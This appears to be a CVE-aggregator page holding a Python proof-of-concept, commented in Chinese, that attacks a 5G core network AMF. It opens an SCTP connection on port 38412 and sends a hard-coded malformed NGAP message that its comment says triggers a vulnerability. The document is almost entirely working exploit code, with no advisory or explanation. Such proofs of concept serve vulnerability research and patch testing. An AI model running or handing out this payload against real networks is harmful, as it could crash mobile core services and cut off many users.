4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import socket
import sctp
from socket import htonl

# 常量配置
AMF_IP = "127.0.0.18"
RAN_IP = "127.0.0.18"
AMF_PORT = 38412
RAN_PORT = 9497

def connect_to_amf(amf_ip, ran_ip, amf_port, ran_port):
    """建立 SCTP 连接"""
    conn = None
    try:
        conn = sctp.sctpsocket_tcp(socket.AF_INET)
        conn.bind((ran_ip, ran_port))
        print(f"尝试连接 AMF: {amf_ip}:{amf_port}")
        conn.connect((amf_ip, amf_port))
        print("连接成功")
    except Exception as e:
        print(f"连接失败: {e}")
    return conn

def send_ngap_message(conn):
    """发送并接收 NGAP 消息"""
    if not conn:
        print("无法发送NGAP消息,SCTP连接未建立")
        return
    try:
        # 这里使用触发漏洞用的NGAP数据
        ngap_data = bytes.fromhex(
            "000f0035000007007940058000000000005b40013800264003001234000300020040df554005c0ffffffff00ab40010000554005c0ffffffff"
        )
        conn.sctp_send(ngap_data, ppid=htonl(60))
        print("NGAP 消息已发送")
        # 接收响应
        conn.settimeout(0.01)
        try:
            recv_msg = conn.recv(2048)
            if recv_msg:
                print("成功接收 AMF 响应")
                print(recv_msg) 
            else:
                print("未收到任何响应")
        except socket.timeout:
            print("发送或接收NGAP消息失败")
    finally:
        conn.close()
        print("连接已关闭")

def main():
    conn = connect_to_amf(AMF_IP, RAN_IP, AMF_PORT, RAN_PORT)
    send_ngap_message(conn)

if __name__ == "__main__":
    main()